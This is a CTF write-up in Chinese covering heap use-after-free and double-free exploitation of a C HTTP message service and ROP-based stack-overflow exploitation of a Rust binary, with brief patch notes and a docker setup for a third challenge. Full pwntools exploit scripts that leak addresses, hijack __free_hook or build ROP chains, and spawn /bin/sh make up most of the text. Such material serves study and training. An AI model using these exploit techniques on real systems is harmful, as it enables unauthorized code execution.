oooohMsgHTTP c语言实现的 http 服务,和路由器固件的一样有个路由表:
/weclome :泄露出 pie
/login_user & /register_user :登录&注册
/add_message :申请堆块
/del_message :释放堆块。根据输入的 message_id 和登录时产生的用户标志判断是否有权限删除对应堆块。
/get_message :选中堆块,将堆块地址赋值到全局变量。根据输入的 secret 和身份标识来判断,当 secret 匹配且身份标识不匹配时,选中堆块。
/empty_message :释放选中的堆块,并置零全局变量。
/show_message : 输出选中的堆块内容
/exit : 退出当前用户,清空用户标识,但保留创建的堆块
从以上功能可以看出来存在 UAF 漏洞:用户 A 申请堆块 1 ,然后切换用户 B 选中堆块 1 ,接着换回用户 A 通过 del_message 释放堆块 1 ,最后用户 B 通过 show_message 泄露 bin 中堆块信息,empty_message 实现 double free 。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import * context.log_level='debug' #p=process('./oooohMsgHTTP') p=remote('172.16.9.2',9002) elf=ELF('./oooohMsgHTTP') libc=ELF('./libc-2.27.so') p.recvuntil('=\n') payload='''POST /welcome HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n''' p.sendline(payload) p.recvuntil('gift: ') leak_addr=int(p.recv(14),16) elf_base=leak_addr-0x1470 print hex(elf_base) payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aa&password=bb" p.sendline(payload) payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aa&password=bb" p.sendline(payload) def add(size,message='a'*0xf0): payload='''POST /add_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"size="+str(size)+"&message="+message p.sendline(payload) p.recvuntil('{"secret":') secret=p.recvuntil(',"add',drop=True) return secret def delete(id): payload='''POST /del_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"message_id="+str(id) p.sendline(payload) def edit(secret,message): payload='''POST /edit_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret)+'&message='+str(message) p.sendline(payload) for i in range(13): secret=add(0x90,'b'*0x90) for i in range(13): delete(i) for i in range(8): secret=add(0xf8,'c'*0xa8) for i in range(7): delete(i) payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb" p.sendline(payload) payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb" p.sendline(payload) payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret) p.sendline(payload) payload=empty_message+"is_confirmed=yes" p.sendline(payload) payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret) p.sendline(payload) payload='''POST /show_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n''' p.sendline(payload) p.recvuntil('{"message":"') leak_addr=u64(p.recv(6).ljust(8,'\x00')) libcbase=leak_addr-0x3ebd50 print hex(libcbase) malloc=libcbase+libc.sym['__free_hook'] for i in range(6): secret=add(0xf8,'a'*0x18) for i in range(5): delete(i) payload='''POST /register_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaaa&password=bbbb" p.sendline(payload) payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaaa&password=bbbb" p.sendline(payload) payload='''POST /get_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"secret="+str(secret) p.sendline(payload) payload='''POST /empty_message HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"is_confirmed=yes" p.sendline(payload) payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=aaa&password=bbb" p.sendline(payload) edit(secret,p64(malloc-0x10)) add(0xf8,'a'*0x18) system_addr=libcbase+libc.sym['system'] payload=(p64(malloc)*8).ljust(0xf8,'a') add(0xf8,p64(0x2222222222222222)*2+p64(system_addr)) payload='''POST /login_user HTTP/1.1\r\nContent-Length: 10\r\nCookie: Username=fmyy;Messages=./flag\r\n\r\n'''+"username=/bin/sh&password=/bin/sh\x00" p.sendline(payload) p.interactive()
patch Get_message 之后将列表中的指针清空
Ruuuuust 程序分析 rust 语言写的程序,除了 canary 以外保护全开:
rust 写的程序逆向分析会发现多了很多分支,通过动态调试辅助定位实现功能的函数。
在输入选择时中断程序,通过 gcc breakpoint 查看上层调用函数的地址,定位到 main 函数的地址为: 0x7C10
109 行开始就是 switch 判断进入对应功能的实现函数,switch 判断是输入值 +1 :
set_name 和 show_name 两个功能啥问题,name size 限制小于 0x10 ,输入函数在 235 行的 read 函数。show name 的时候用 memcpy 复制到另外一个栈变量,然后再进行输出。
talk 询问 size 时,限制不大于 0xf8 :
输入函数用的还是 235 行 read ,向栈上写入 0xb8 已经造成溢出:
退出程序时:
利用思路 rust 不能通过表调用函数,需要利用程序中的 call 片段。程序中有两种调用形式:
栈溢出构造出一个 read 函数,向 bss+0x400 写入 write 和第二个 read 的利用链,再次栈迁移到 system 函数。
直接全局搜索 read_ptr
找调用 read 的片段,找到两个:
0x1eac0
调用完还会调用其他函数,最后会 crash ;用 0x7dd0
调用后,配合 exit 时 r15 出栈操作,可以实现多一次调用:
1 2 3 4 5 6 payload = 'a' *(0xb8 -0x18 )+p64(leave_ret)*2 +p64(elf.bss()+0x500 -8 +elf_base) payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500 -8 +elf_base) payload += p64(pop_rdx_ret)+p64(0x400 )+p64(0 ) payload += p64(elf_base+0x7DD0 )
write 泄露出 write@got 的地址,找 write 调用片段一样方法。gdb 调试 0x24F10
发现调用完后,会调用利用链 +8 的 gadget ,所以要加下填充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload = p64(elf.bss()+0x400 -8 +elf_base) payload += p64(pop_rdi_ret)+p64(2 ) payload += p64(pop_rsi_ret)+p64(write_got) payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base) payload += p64(0x24F10 +elf_base) payload += p64(0xdeadbeef ) payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400 -8 +elf_base) payload += p64(pop_rdx_ret)+p64(0x400 )+p64(0 ) payload += p64(elf_base+0x7DD0 )
泄露出的不是 libc 地址,无伤大雅,那个地址和 libc 偏移固定的:
1 2 3 4 write_leak = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("write_leak:" +hex (write_leak)) libc_base = write_leak - (0x7ffff77a5360 -0x7ffff719f000 )
最后需要用 ret 调整一下栈结构
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *context.log_level = 'debug' p = process("./Ruuuuust" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) libdl = ELF("/lib/x86_64-linux-gnu/libdl-2.27.so" ) elf = ELF("./Ruuuuust" ) ''' 0x55555555acaa:welcome 0x55555555acd4:menu 0x55555555acef:input choice ===set name=== 0x55555555bdd0:read(0,v7,v6) ===show name=== 0x55555555c266:function(Name) ===talk with me=== 0x55555555bdd0:read(0,v7,v6) ''' def setname (name='a' *0x10 ): p.sendlineafter("Your Choice: " ,str (1 )) p.sendlineafter("Your Size: " ,str (len (name))) p.sendafter("Your Name: " ,name) def showname (): p.sendlineafter("Your Choice: " ,str (2 )) def talk (content ): p.sendlineafter("Your Choice: " ,str (3 )) p.sendlineafter("Your Size: " ,str (len (content))) p.sendafter("want to say: " ,content) def show_show (): p.sendlineafter("Your Choice: " ,str (4 )) def my_exit (): p.sendlineafter("Your Choice: " ,str (5 )) def gift (): p.sendlineafter("Your Choice: " ,str (23339999 )) padding = 184 gdb.attach(p,"b *$rebase(0x3c31c)" ) pause() gift() p.recvuntil("gift: " ) leak_addr = int (p.recvuntil('\n' ,drop=1 ),16 ) elf_base = leak_addr - (0x555555591758 -0x555555554000 ) log.info("elf_base:" +hex (elf_base)) pop_rdi_ret = elf_base+0x00000000000061de pop_rsi_ret = elf_base+0x00000000000062a7 pop_rdx_ret = elf_base+0x0000000000008d93 pop_rbx_ret = elf_base+0x0000000000006d38 leave_ret = elf_base+0x000000000003c31c ret = elf_base+0x0000000000006016 write_got = elf.sym['write' ]+elf_base setname('skye' *4 ) showname() payload = 'a' *(0xb8 -0x18 )+p64(leave_ret)*2 +p64(elf.bss()+0x500 -8 +elf_base) payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500 -8 +elf_base) payload += p64(pop_rdx_ret)+p64(0x400 )+p64(0 ) payload += p64(elf_base+0x7DD0 ) talk(payload) my_exit() ''' payload = 'a'*(0xb8-8-8*6)+p64(elf.bss()+0x500+elf_base)*7 payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rsi_ret) + p64(write_got) payload += p64(elf_base+0x24F10) ''' payload = p64(elf.bss()+0x400 -8 +elf_base) payload += p64(pop_rdi_ret)+p64(2 ) payload += p64(pop_rsi_ret)+p64(write_got) payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base) payload += p64(0x24F10 +elf_base) payload += p64(0xdeadbeef ) payload += p64(pop_rdi_ret)+p64(0 ) payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400 -8 +elf_base) payload += p64(pop_rdx_ret)+p64(0x400 )+p64(0 ) payload += p64(elf_base+0x7DD0 ) sleep(0.2 ) p.send(payload) write_leak = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.info("write_leak:" +hex (write_leak)) libc_base = write_leak - (0x7ffff77a5360 -0x7ffff719f000 ) log.info("libc_base:" +hex (libc_base)) system_addr = libc_base + libc.sym['system' ] log.info("system_addr:" +hex (system_addr)) binsh_str = libc_base + libc.search('/bin/sh' ).next () payload = p64(elf.bss()+0x400 -8 +elf_base) payload += p64(pop_rdi_ret)+p64(binsh_str) payload += p64(ret) payload += p64(system_addr) sleep(0.2 ) p.send(payload) p.interactive()
patch 将可输入长度减少:
加固后:
总结
rust 语言反编译后会多了很多分支、函数,实现功能的函数都找不到,需要结合动态调试调试。字符串定位啥的都不太可靠了,函数、字符串指针绕几层才是到被调用的地方
rust 因为指针绕几层才是函数体,不能和 c 一样通过表调用函数,需要找程序中 call 的片段
mypypy 运行环境 避免破坏虚拟机环境,用 docker 来部署题目本地环境。创建一个名为 ctf 的用户,然后把 libgcc1-dbg 和 python3 装上,将源码中启动的 chroot 注释了,因为 docker 启动时会用 ctf 用户,不需要再 chroot 更换根路径了。
题目及 docker 文件下载地址:
启动命令:docker-compose up -d
,挂载端口 12000